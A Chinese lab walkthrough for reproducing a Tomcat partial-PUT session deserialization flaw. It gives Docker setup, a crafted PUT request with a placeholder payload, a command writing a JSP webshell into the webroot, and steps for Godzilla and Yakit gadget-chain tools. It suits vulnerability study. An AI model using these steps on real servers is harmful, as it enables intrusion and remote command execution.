一、环境搭建
使用docker下载安装特定版本的tomcat
docker pull tomcat:9.0.98-jdk8
运行docker
docker run -d --name tomcat9 -p 8899:8080 tomcat:9.0.98-jdk8
进入docker
docker exec -it tomcat9 /bin/bash
打开loaclhost:8899,出现tomcat默认页面为配置成功
进入以下路径,将反序列化链组件commons-collections-3.1.jar存放到如下目录
/usr/local/tomcat/webapps/ROOT/WEB-INF/lib
在/usr/local/tomcat/conf/web.xml添加代码,开启写入功能:
在/usr/local/tomcat/conf/context.xml添加代码,开启file会话存储:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
重启后,开始攻击操作。
二、漏洞复现
该漏洞的payload如下,注意Length长度要和Range分块保持一致且要大于恶意代码的长度,其中恶意代码的部分,我们直接远程写入一个JSP木马文件
PUT /yxaq/session HTTP/1.1
Host: localhost:8899
Content-Length: 3677
Content-Range: bytes 0-3677/4200
{{恶意代码}}
cd /usr/local/tomcat/webapps/ROOT && echo '这里写JSP木马' > end.jsp
在哥斯拉-管理-生成,生成一个JSP木马
打开Yakit-Yso-Java Hac,并选择相应的利用链,把我们写入木马的命令添加进去,生成对应的base64编码
打开抓包功能,免配置启动
5. 修改数据包为恶意代,记得base64解码,发送到fuzzer
使用哥斯拉连接,注意修改路径和密码,测试连接
添加后尝试执行命令